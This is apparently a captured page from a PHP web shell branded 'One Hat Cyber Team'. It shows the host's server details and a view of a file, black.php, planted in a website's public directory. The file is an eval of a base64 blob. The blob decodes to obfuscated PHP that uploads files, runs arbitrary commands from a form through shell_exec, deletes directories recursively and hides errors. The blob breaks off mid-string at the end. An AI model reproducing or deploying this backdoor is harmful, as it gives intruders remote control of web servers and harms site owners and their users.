⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.124
Server IP:
50.28.103.30
Server:
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
electronharmony.com
/
public
/
View File Name :
black.php
<?php eval("?>".base64_decode("PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOyAKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7IAokRzMgPSAic2NhbmRpciI7CiRjOCA9IFsKICAgICI3MDY4NzA1Zjc1NmU2MTZkNjUiLAogICAgIjcwNjg3MDc2NjU3MjczNjk2ZjZlIiwKICAgICI2NzY1NzQ2Mzc3NjQiLAogICAgIjYzNjg2NDY5NzIiLAogICAgIjcwNzI2NTY3NWY3MzcwNmM2OTc0IiwKICAgICI2MTcyNzI2MTc5NWY2NDY5NjY2NiIsCiAgICAiNjk3MzVmNjQ2OTcyIiwKICAgICI2OTczNWY2NjY5NmM2NSIsCiAgICAiNjk3MzVmNzc3MjY5NzQ2MTYyNmM2NSIsCiAgICAiNjk3MzVmNzI2NTYxNjQ2MTYyNmM2NSIsCiAgICAiNjY2OTZjNjU3MzY5N2E2NSIsCiAgICAiNjM2ZjcwNzkiLAogICAgIjY2Njk2YzY1NWY2NTc4Njk3Mzc0NzMiLAogICAgIjY2Njk2YzY1NWY3MDc1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMiLAogICAgIjY2Njk2YzY1NWY2NzY1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMiLAogICAgIjZkNmI2NDY5NzIiLAogICAgIjcyNjU2ZTYxNmQ2NSIsCiAgICAiNzM3NDcyNzQ2Zjc0Njk2ZDY1IiwKICAgICI2ODc0NmQ2YzczNzA2NTYzNjk2MTZjNjM2ODYxNzI3MyIsCiAgICAiNjQ2MTc0NjUiLAogICAgIjY2Njk2YzY1NmQ3NDY5NmQ2NSIsCl07CiRsRSA9IDA7ClQ0OgppZiAoISgkbEUgPCBjb3VudCgkYzgpKSkgewogICAgZ290byBKZTsKfQokYzhbJGxFXSA9IEpEKCRjOFskbEVdKTsKQ3k6CiRsRSsrOwpnb3RvIFQ0OwpKZToKaWYgKGlzc2V0KCRfR0VUWyJwIl0pKSB7CiAgICBnb3RvIHNyOwp9CiRKZCA9ICRjOFsyXSgpOwpnb3RvIFZOOwpzcjoKJEpkID0gakQoJF9HRVRbInAiXSk7CiRjOFszXShKZCgkX0dFVFsicCJdKSk7ClZOOgpmdW5jdGlvbiBzYWZlKCR4KSB7CiAgICByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkeCwgRU5UX1FVT1RFUywgJ1VURi04Jyk7Cn0KZnVuY3Rpb24gU3MoJFNQKQp7CiAgICAkZEUgPSAiIjsKICAgICRsRSA9IDA7CiAgICBOWjoKICAgIGlmICghKCRsRSA8IHN0cmxlbigkU1ApKSkgewogICAgICAgIGdvdG8gWGM7CiAgICB9CiAgICAkZEUgLj0gZGVjaGV4KG9yZCgkU1BbJGxFXSkpOwogICAgV0s6CiAgICAkbEUrKzsKICAgIGdvdG8gTlo7CiAgICBYYzoKICAgIHJldHVybiAkZEU7Cn0KZnVuY3Rpb24gSmQoJFNQKQp7CiAgICAkZEUgPSAiIjsKICAgICRnZiA9IHN0cmxlbigkU1ApIC0gMTsKICAgICRsRSA9IDA7CiAgICBYcDoKICAgIGlmICghKCRsRSA8ICRnZikpIHsKICAgICAgICBnb3RvIHVyOwogICAgfQogICAgJGRFIC49IGNocihoZXhkZWMoJFNQWyRsRV0gLiAkU1BbJGxFICsgMV0pKTsKICAgIFduOgogICAgJGxFICs9IDI7CiAgICBnb3RvIFhwOwogICAgdXI6CiAgICByZXR1cm4gJGRFOwp9CmZ1bmN0aW9uIHJuKCRGMSkKewogICAgJEpkID0gZmlsZXBlcm1zKCRGMSk7CiAgICBpZiAoKCRKZCAmIDB4YzAwMCkgPT0gMHhjMDAwKSB7CiAgICAgICAgZ290byBGWjsKICAgIH0KICAgIGlmICgoJEpkICYgMHhhMDAwKSA9PSAweGEwMDApIHsKICAgICAgICBnb3RvIEV1OwogICAgfQogICAgaWYgKCgkSmQgJiAweDgwMDApID09IDB4ODAwMCkgewogICAgICAgIGdvdG8gRVM7CiAgICB9CiAgICBpZiAoKCRKZCAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7CiAgICAgICAgZ290byBzQTsKICAgIH0KICAgIGlmICgoJEpkICYgMHg0MDAwKSA9PSAweDQwMDApIHsKICAgICAgICBnb3RvIGxHOwogICAgfQogICAgaWYgKCgkSmQgJiAweDIwMDApID09IDB4MjAwMCkgewogICAgICAgIGdvdG8gdFY7CiAgICB9CiAgICBpZiAoKCRKZCAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7CiAgICAgICAgZ290byBUeDsKICAgIH0KICAgICRsRSA9ICJ1IjsKICAgIGdvdG8gY0M7CiAgICBGWjoKICAgICRsRSA9ICJzIjsKICAgIGdvdG8gY0M7CiAgICBFdToKICAgICRsRSA9ICJsIjsKICAgIGdvdG8gY0M7CiAgICBFUzoKICAgICRsRSA9ICItIjsKICAgIGdvdG8gY0M7CiAgICBzQToKICAgICRsRSA9ICJiIjsKICAgIGdvdG8gY0M7CiAgICBsRzoKICAgICRsRSA9ICJkIjsKICAgIGdvdG8gY0M7CiAgICB0VjoKICAgICRsRSA9ICJjIjsKICAgIGdvdG8gY0M7CiAgICBUeDoKICAgICRsRSA9ICJwIjsKICAgIGNDOgogICAgJGxFIC49ICRKZCAmIDB4MTAwID8gInIiIDogIi0iOwogICAgJGxFIC49ICRKZCAmIDB4ODAgPyAidyIgOiAiLSI7CiAgICAkbEUgLj0gJEpkICYgMHg0MCA/ICgkSmQgJiAweDgwMCA/ICJzIiA6ICJ4IikgOiAoJEpkICYgMHg4MDAgPyAiUyIgOiAiLSIpOwogICAgJGxFIC49ICRKZCAmIDB4MjAgPyAiciIgOiAiLSI7CiAgICAkbEUgLj0gJEpkICYgMHgxMCA/ICJ3IiA6ICItIjsKICAgICRsRSAuPSAkSmQgJiAweDggPyAoJEpkICYgMHg0MDAgPyAicyIgOiAieCIpIDogKCRKZCAmIDB4NDAwID8gIlMiIDogIi0iKTsKICAgICRsRSAuPSAkSmQgJiAweDQgPyAiciIgOiAiLSI7CiAgICAkbEUgLj0gJEpkICYgMHgyID8gInciIDogIi0iOwogICAgJGxFIC49ICRKZCAmIDB4MSA/ICgkSmQgJiAweDIwMCA/ICJ0IiA6ICJ4IikgOiAoJEpkICYgMHgyMDAgPyAiVCIgOiAiLSIpOwogICAgcmV0dXJuICRsRTsKfQpmdW5jdGlvbiBYZSgkT0IsICRDaCA9IDEsICRCTCA9ICIiKQp7CiAgICBnbG9iYWwgJEpkOwogICAgJHhlID0gJENoID09IDEgPyAic3VjY2VzcyIgOiAiZXJyb3IiOwogICAgZWNobyAiPHNjcmlwdD5zd2FsKHt0aXRsZTogXCJ7JHhlfVwiLCB0ZXh0OiBcInskT0J9XCIsIGljb246IFwieyR4ZX1cIn0pLnRoZW4oKGJ0bkNsaWNrKSA9PiB7aWYoYnRuQ2xpY2spe2RvY3VtZW50LmxvY2F0aW9uLmhyZWY9XCI/cD0iIC4KICAgICAgICBTcygkSmQpIC4KICAgICAgICAkQkwgLgogICAgICAgICJcIn19KTwvc2NyaXB0PiI7Cn0KZnVuY3Rpb24gdEYoJHlmKQp7CiAgICBnbG9iYWwgJGM4OwogICAgaWYgKCEodHJpbShwYXRoaW5mbygkeWYsIFBBVEhJTkZPX0JBU0VOQU1FKSwgIi4iKSA9PT0gIiIpKSB7CiAgICAgICAgZ290byBJRTsKICAgIH0KICAgIHJldHVybjsKICAgIElFOgogICAgaWYgKGlzX2RpcigkeWYpICYmIGFycmF5X2RpZmYoc2NhbmRpcigkeWYpLCBhcnJheSgnLicsICcuLicpKSkgewogICAgICAgIGdvdG8gUEY7CiAgICB9CiAgICBybWRpcigkeWYpOwogICAgcmV0dXJuOwogICAgUEY6CiAgICBhcnJheV9tYXAoCiAgICAgICAgZnVuY3Rpb24oJGl0ZW0pIHVzZSAoJHlmKSB7CiAgICAgICAgICAgICRmaWxlID0gJHlmIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpdGVtOwogICAgICAgICAgICBpZiAoaXNfZGlyKCRmaWxlKSkgewogICAgICAgICAgICAgICAgdEYoJGZpbGUpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgdW5saW5rKCRmaWxlKTsKICAgICAgICAgICAgfQogICAgICAgIH0sCiAgICAgICAgYXJyYXlfZGlmZihzY2FuZGlyKCR5ZiksIGFycmF5KCcuJywgJy4uJykpCiAgICApOwogICAgcm1kaXIoJHlmKTsKfQo/Pgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgogIDxoZWFkPgogICAgPHRpdGxlPkRlZmF1bHQgcGFnZTwvdGl0bGU+CiAgICA8bGluayByZWw9Imljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIgaHJlZj0iLy9ocGFuZWwuaG9zdGluZ2VyLmNvbS9mYXZpY29ucy9ob3N0aW5nZXIucG5nIj4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDxtZXRhIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSI+CiAgICA8bWV0YSBjb250ZW50PSJEZWZhdWx0IHBhZ2UiIG5hbWU9ImRlc2NyaXB0aW9uIj4KICAgIDxtZXRhIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiBuYW1lPSJ2aWV3cG9ydCI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDQuNi4wL2Rpc3QvY3NzL2Jvb3RzdHJhcC5taW4uY3NzIj4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzQuNy4wL2Nzcy9mb250LWF3ZXNvbWUubWluLmNzcyI+CiAgICA8bGluayBocmVmPSIvL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PUJyZWUrU2VyaWYmZmFtaWx5PVJvY2srU2FsdCZkaXNwbGF5PXN3YXAiIHJlbD0ic3R5bGVzaGVldCI+CiAgICA8c2NyaXB0IHNyYz0iLy91bnBrZy5jb20vc3dlZXRhbGVydC9kaXN0L3N3ZWV0YWxlcnQubWluLmpzIj48L3NjcmlwdD4KICAgIDxzdHlsZT5ib2R5e2NvbG9yOiMwMDA7Zm9udC1zaXplOjA7Zm9udC1mYW1pbHk6J0JyZWUgU2VyaWYnLHNlcmlmO3dpZHRoOjk5JTtwYWRkaW5nOjA7bWFyZ2luOjdweCBhdXRvO2JhY2tncm91bmQtY29sb3I6YmxhY2shaW1wb3J0YW50fS5iZy1kYXJre2JhY2tncm91bmQtY29sb3I6YmxhY2shaW1wb3J0YW50fS5ib3JkZXJ7Ym94LXNoYWRvdzowIDAgMTBweCAjZmYxNDkzO2JvcmRlcjoycHggc29saWQgI2ZmMTQ5MyFpbXBvcnRhbnQ7Ym9yZGVyLXJhZGl1czo1cHg7YmFja2dyb3VuZDojZmZmMH0uYm9yZGVyOmhvdmVye2JveC1zaGFkb3c6MCAwIDEwcHggI2ZmMTQ5M30udGFibGUgdGR7cGFkZGluZzouMXJlbTtib3gtc2hhZG93Omluc2V0IDAgMCAwIDFweCAjZmYxNDkzO2JvcmRlci1yYWRpdXM6MnB4fS50YWJsZSB0aGVhZCB0aHtmb250LWZhbWlseTonQnJlZSBTZXJpZicsc2VyaWY7Ym94LXNoYWRvdzppbnNldCAwIDAgMCAxLjVweCAjZmYxNDkzO2NvbG9yOiNmZjE0OTM7cGFkZGluZzouMjVyZW07Ym9yZGVyLXJhZGl1czo1cHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLGJsYWNrLHJnYig2MyA2MyA2MyAvIC41KSl9LnRhYmxlLWhvdmVyIHRib2R5IHRyOmhvdmVyIHRke2JhY2tncm91bmQ6cmdiKDYzIDYzIDYzIC8gLjUpfS50YWJsZT50Ym9keT50cj4qe2NvbG9yOiNmZmY7dmVydGljYWwtYWxpZ246bWlkZGxlfS5mb3JtLWNvbnRyb2x7YmFja2dyb3VuZDp0cmFuc3BhcmVudCFpbXBvcnRhbnQ7Y29sb3I6I2ZmZiFpbXBvcnRhbnQ7Ym9yZGVyLXJhZGl1czowfS5mb3JtLWNvbnRyb2w6OnBsYWNlaG9sZGVye2NvbG9yOiNmZmY7b3BhY2l0eToxfS5mb3JtLWdyb3Vwe21hcmdpbjouMnJlbSAwfWxpe2ZvbnQtc2l6ZTpsYXJnZSFpbXBvcnRhbnQ7Y29sb3I6I2ZmMTQ5MyFpbXBvcnRhbnQ7bGlzdC1zdHlsZTppbmhlcml0IWltcG9ydGFudH1he2NvbG9yOiNmZmY7dGV4dC1kZWNvcmF0aW9uOm5vbmUhaW1wb3J0YW50fWE6aG92ZXJ7Y29sb3I6I2ZmMTQ5MzthbmltYXRpb246a2VkaXAgMXMgbGluZWFyIGluZmluaXRlfWg1e21hcmdpbjoxLjVweCAwO2NvbG9yOiNmZjE0OTMhaW1wb3J0YW50O3BhZGRpbmc6MnB4fXRleHRhcmVhe3dpZHRoOjk3JTtmb250LXNpemU6bWVkaXVtIWltcG9ydGFudDtmb250LWZhbWlseTppbmhlcml0O2hlaWdodDo0NHZoO3BhZGRpbmctbGVmdDo1cHh9YnV0dG9uLGlucHV0e2JvcmRlcjoycHggc29saWQgI2ZmMTQ5Mztib3JkZXItcmFkaXVzOjVweDtmb250LXNpemU6MTVweDtjb2xvcjojZmZmO2xpbmUtaGVpZ2h0Om5vcm1hbDtmb250LWZhbWlseTppbmhlcml0fWJ1dHRvbjpob3ZlcixpbnB1dDpob3ZlcntjdXJzb3I6cG9pbnRlcn0ub2hjdHtwYWRkaW5nOjAgMXJlbTtjb2xvcjojZmZmO2JvcmRlcjoycHggc29saWQgI2ZmMTQ5Mztib3JkZXItcmFkaXVzOjVweDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmYwO2ZvbnQtZmFtaWx5OmluaGVyaXQ7Zm9udC1zaXplOjE2cHh9Lm9oY3Q6aG92ZXJ7Y29sb3I6I2ZmMTQ5MyFpbXBvcnRhbnR9LmNvbWJldHtjb2xvcjojZmZmfS5jb21iZXQ6aG92ZXJ7Y29sb3I6I2ZmMTQ5M30ucC0xe3BhZGRpbmc6NHB4fTo6c2VsZWN0aW9ue2NvbG9yOiMwMDA7YmFja2dyb3VuZDpzaWx2ZXJ9LmZhe3BhZGRpbmc6MTBweDtmb250LXNpemU6MjBweDt3aWR0aDo1MHB4O3RleHQtYWxpZ246Y2VudGVyO21hcmdpbjo1cHg7Y29sb3I6I2ZmMTQ5M30uZmE6aG92ZXJ7Ym9yZGVyOjJweCBzb2xpZCAjZmYxNDkzfS50ZXh0LWxpZ2h0e2NvbG9yOiNmOGY5ZmEhaW1wb3J0YW50O2ZvbnQtc2l6ZTpsYXJnZSFpbXBvcnRhbnR9LmtlZGlwe2FuaW1hdGlvbjprZWRpcCAxcyBsaW5lYXIgaW5maW5pdGV9QGtleWZyYW1lcyBrZWRpcHswJSwxMDAle2NvbG9yOiNmZjE0OTN9NTAle2NvbG9yOiNmZmZ9fUBrZXlmcmFtZXMgcmFpbmJvd0JvcmRlcnswJXtib3JkZXItaW1hZ2U6bGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LCNmZjE0OTMsbWFnZW50YSkgMX0xNCV7Ym9yZGVyLWltYWdlOmxpbmVhci1ncmFkaWVudCh0byByaWdodCxtYWdlbnRhLGxpbWUpIDF9Mjgle2JvcmRlci1pbWFnZTpsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQsbGltZSx5ZWxsb3cpIDF9NDIle2JvcmRlci1pbWFnZTpsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQseWVsbG93LG9yYW5nZSkgMX01NyV7Ym9yZGVyLWltYWdlOmxpbmVhci1ncmFkaWVudCh0byByaWdodCxvcmFuZ2UsI2ZmMTQ5MykgMX03MSV7Ym9yZGVyLWltYWdlOmxpbmVhci1ncmFkaWVudCh0byByaWdodCwjZmYxNDkzLHBpbmspIDF9ODUle2JvcmRlci1pbWFnZTpsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQscGluaywjZmYxNDkzKSAxfX0ucmFpbmJvdy1ib3JkZXJ7Ym9yZGVyOjJweCBzb2xpZCAjZmYxNDkzO2JvcmRlci1yYWRpdXM6NXB4IWltcG9ydGFudDthbmltYXRpb246cmFpbmJvd0JvcmRlciAycyBsaW5lYXIgaW5maW5pdGV9QGtleWZyYW1lcyByYWluYm93VGV4dHswJSwxMDAle2NvbG9yOiNmZjE0OTN9MTQle2NvbG9yOiNmMGZ9Mjgle2NvbG9yOmxpbWV9NDIle2NvbG9yOiNmZjB9NTcle2NvbG9yOm9yYW5nZX03MSV7Y29sb3I6I2ZmMTQ5M304NSV7Y29sb3I6cGlua319QGtleWZyYW1lcyByYWluYm93VGV4dDF7MCUsMTAwJXtjb2xvcjpwaW5rfTE0JXtjb2xvcjojZmYxNDkzfTI4JXtjb2xvcjpvcmFuZ2V9NDIle2NvbG9yOiNmZjB9NTcle2NvbG9yOmxpbWV9NzEle2NvbG9yOiNmMGZ9ODUle2NvbG9yOiNmZjE0OTN9fS5yYWluYm93LXRleHR7YW5pbWF0aW9uOnJhaW5ib3dUZXh0IDJzIGluZmluaXRlO2ZvbnQtd2VpZ2h0OjcwMH0ucmFpbmJvdy10ZXh0MXthbmltYXRpb246cmFpbmJvd1RleHQxIDJzIGluZmluaXRlO2ZvbnQtd2VpZ2h0OjcwMH1ob3Zlcntib3gtc2hhZG93OjAgMCAxMHB4ICNmZjE0OTN9LnRhYmxlIHRke3BhZGRpbmc6LjFyZW07Ym94LXNoYWRvdzppbnNldCAwIDAgMCAxcHggI2ZmMTQ5Mztib3JkZXItcmFkaXVzOjJweH0udGFibGUgdGhlYWQgdGh7Zm9udC1mYW1pbHk6J0JyZWUgU2VyaWYnLHNlcmlmO2JveC1zaGFkb3c6aW5zZXQgMCAwIDAgMS41cHggI2ZmMTQ5Mztjb2xvcjojZmYxNDkzO3BhZGRpbmc6LjI1cmVtO2JvcmRlci1yYWRpdXM6NXB4O2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSxibGFjayxyZ2IoNjMgNjMgNjMgLyAuNSkpfS50YWJsZS1ob3ZlciB0Ym9keSB0cjpob3ZlciB0ZHtiYWNrZ3JvdW5kOnJnYig2MyA2MyA2MyAvIC41KX0uZm9ybS1jb250cm9se2JhY2tncm91bmQ6dHJhbnNwYXJlbnQhaW1wb3J0YW50O2NvbG9yOiNmZmYhaW1wb3J0YW50O2JvcmRlci1yYWRpdXM6MH0uZm9ybS1jb250cm9sOjpwbGFjZWhvbGRlcntjb2xvcjojZmZmO29wYWNpdHk6MX0ub2hjdHtwYWRkaW5nOjAgMXJlbTtjb2xvcjojZmZmO2JvcmRlcjoycHggc29saWQgI2ZmMTQ5Mztib3JkZXItcmFkaXVzOjVweDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmYwO2ZvbnQtc2l6ZToxNnB4fS5vaGN0OmhvdmVye2NvbG9yOiNmZjE0OTMhaW1wb3J0YW50fS5yYWluYm93LWJvcmRlcntib3JkZXI6MnB4IHNvbGlkICNmZjE0OTM7Ym9yZGVyLXJhZGl1czo1cHghaW1wb3J0YW50O2FuaW1hdGlvbjpyYWluYm93Qm9yZGVyIDJzIGxpbmVhciBpbmZpbml0ZX1Aa2V5ZnJhbWVzIHJhaW5ib3dCb3JkZXJ7MCV7Ym9yZGVyLWltYWdlOmxpbmVhci1ncmFkaWVudCh0byByaWdodCwjZmYxNDkzLG1hZ2VudGEpIDF9MTQle2JvcmRlci1pbWFnZTpsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQsbWFnZW50YSxsaW1lKSAxfTI4JXtib3JkZXItaW1hZ2U6bGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LGxpbWUseWVsbG93KSAxfTQyJXtib3JkZXItaW1hZ2U6bGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LHllbGxvdyxvcmFuZ2UpIDF9NTcle2JvcmRlci1pbWFnZTpsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQsb3JhbmdlLCNmZjE0OTMpIDF9NzEle2JvcmRlci1pbWFnZTpsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQsI2ZmMTQ5MyxwaW5rKSAxfTg1JXtib3JkZXItaW1hZ2U6bGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LHBpbmssI2ZmMTQ5MykgMX19PC9zdHlsZT4KICA8L2hlYWQ+Cjxib2R5PgogICAgPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSB0ZXh0LWxpZ2h0IHJhaW5ib3ctYm9yZGVyIiBzdHlsZT0idGV4dC1hbGlnbjogbGVmdDsgcGFkZGluZzogNHB4OyI+CiAgICAgICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsiPgogICAgICAgICAgICA8YSBocmVmPSIvL3QubWUvY29tYmV0b2hjdCIgdGFyZ2V0PSJfYmxhbmsiIHJlbD0ibm9vcGVuZXIgbm9yZWZlcnJlciI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibWF0ZXJpYWwtc3ltYm9scy1vdXRsaW5lZCByYWluYm93LXRleHQxIiBzdHlsZT0iZm9udC1zaXplOiAzcmVtO3BhZGRpbmctcmlnaHQ6IDAuNXJlbTsiPiYjOTg4NTs8L3NwYW4+CiAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPGEgaHJlZj0iPyIgc3R5bGU9ImZvbnQtc2l6ZTogMS41cmVtOyBwYWRkaW5nOiAwLjVyZW07Ij4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJyYWluYm93LXRleHQiIHN0eWxlPSJmb250LWZhbWlseTogUm9jayBTYWx0OyI+T25lIEhhdCBDeWJlciBUZWFtPC9zcGFuPgogICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDxhIGhyZWY9Im1haWx0bzpjb21iZXRvaGN0QHlhaG9vLmNvbSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibWF0ZXJpYWwtc3ltYm9scy1vdXRsaW5lZCByYWluYm93LXRleHQxIiBzdHlsZT0iZm9udC1zaXplOiAzcmVtO3BhZGRpbmctbGVmdDogMC41cmVtOyI+JiM5ODg1Ozwvc3Bhbj4KICAgICAgICAgICAgPC9hPgogICAgICAgIDwvZGl2PgogICAgICAgIDx1bCBzdHlsZT0ibWFyZ2luOiAwOyBwYWRkaW5nLWlubGluZS1zdGFydDogMzBweDsiPgogICAgICAgIDxsaT5Zb3VyIElQOiA8c3BhbiBzdHlsZT0iY29sb3I6IHdoaXRlOyI+PD89ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOyA/Pjwvc3Bhbj48L2xpPgogICAgICAgIDxsaT5TZXJ2ZXIgSVA6IDxzcGFuIHN0eWxlPSJjb2xvcjogd2hpdGU7Ij48Pz0gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSk7ID8+PC9zcGFuPjwvbGk+CiAgICAgICAgPGxpPlNlcnZlcjogPHNwYW4gc3R5bGU9ImNvbG9yOiB3aGl0ZTsiPjw/PSBwaHBfdW5hbWUoKTsgPz48L3NwYW4+PC9saT4KICAgICAgICA8bGk+U2VydmVyIFNvZnR3YXJlOiA8c3BhbiBzdHlsZT0iY29sb3I6IHdoaXRlOyI+PD89ICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXTsgPz48L3NwYW4+PC9saT4KICAgICAgICA8bGk+UEhQIFZlcnNpb246IDxzcGFuIHN0eWxlPSJjb2xvcjogd2hpdGU7Ij48Pz0gcGhwdmVyc2lvbigpOyA/Pjwvc3Bhbj48L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICA8YSBocmVmPSI/cD08Pz0gc3MoJEpkKSA/PiZhPTw/PSBTcygibmV3RmlsZSIpID8+IiBjbGFzcz0ib2hjdCI+QnVhdCBGaWxlPC9hPiB8IAogICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD89IFNzKCRKZCkgPz4mYT08Pz0gc1MoIm5ld0RpciIpID8+IiBjbGFzcz0ib2hjdCI+QnVhdCBGb2xkZXI8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgPC91bD4KICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBzdHlsZT0icGFkZGluZzogMC4xMHJlbTsgZGlzcGxheTogaW5saW5lLWJsb2NrOyBtYXJnaW46IDJweCAwOyI+CiAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZGVkX2ZpbGVueWEiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InVwbG9hZF9maWxlbnlhIiB2YWx1ZT0iVXBsb2FkIiBjbGFzcz0iYnV0dG9uIG9oY3QiPgogICAgPC9mb3JtPgogICA8P3BocAogICAgZXJyb3JfcmVwb3J0aW5nKDApOwogICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CiRmb2xkZXJfdHVqdWFuID0gcnRyaW0oZ2V0Y3dkKCksICIvIikgLiAiLyI7CgppZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWRfZmlsZW55YSJdKSkgewoKICAgICR0YXJnZXQgPSAkZm9sZGVyX3R1anVhbiAuIGJhc2VuYW1lKCRfRklMRVNbInVwbG9hZGVkX2ZpbGVueWEiXVsibmFtZSJdKTsKCiAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbInVwbG9hZGVkX2ZpbGVueWEiXVsidG1wX25hbWUiXSwgJHRhcmdldCkpIHsKICAgICAgICBYZSgiQmVyaGFzaWwgdXBsb2FkIGZpbGUhIik7CiAgICB9IGVsc2UgewogICAgICAgIFhlKCJHYWdhbCB1cGxvYWQgZmlsZSEiLCAwKTsKICAgIH0KfQo/PgogICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgc3R5bGU9Im1hcmdpbjogMnB4IDA7Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgY2xhc3M9ImJvcmRlciBwLTEiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHdpZHRoOiAyOTZweDsgaGVpZ2h0OiAyOXB4OyIgcGxhY2Vob2xkZXI9Ik1hc3Vra2FuIENvbW1hbmQiPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGVfY29tbWFuZCIgY2xhc3M9Im9oY3QiPkVrc2VrdXNpPC9idXR0b24+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZm9ybT4KICAgICAgICA8P3BocCAKICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsiZXhlY3V0ZV9jb21tYW5kIl0pICYmIGlzc2V0KCRfUE9TVFsiY29tbWFuZCJdKSkgewogICAgICAgICAgICAgICAgJGNvbW1hbmQgPSAkX1BPU1RbImNvbW1hbmQiXTsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSBzaGVsbF9leGVjKCRjb21tYW5kKTsKICAgICAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9J2JvcmRlcicgc3R5bGU9J2NvbG9yOiB3aGl0ZTtoZWlnaHQ6IDEwcmVtO3RleHQtYWxpZ246bGVmdDtmb250LWZhbWlseTogaW5oZXJpdDtwYWRkaW5nOiAuNDByZW07bWFyZ2luOiAwcHg7Jz4iIC4gaHRtbHNwZWNpYWxjaGFycygkb3V0cHV0KSAuICI8L3ByZT4iOwogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIHRleHQtbGlnaHQgcmFpbmJvdy1ib3JkZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0O3BhZGRpbmc6IDRweDttYXJnaW4tYm90dG9tOiAzcHg7bWFyZ2luLXRvcDogM3B4OyI+CjxsaT5EaXIgOiA8c3Bhbj48P3BocCAKZXJyb3JfcmVwb3J0aW5nKDApOyAKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7IAoKJE9wID0gJGM4WzRdKCIvKFxcXFx8XFwvKS8iLCAkSmQpOwpmb3JlYWNoICgkT3AgYXMgJGozID0+ICRPZSkgewogICAgaWYgKCEoJGozID09IDAgJiYgJE9lID09ICIiKSkgewogICAgICAgIGdvdG8geGk7CiAgICB9CiAgI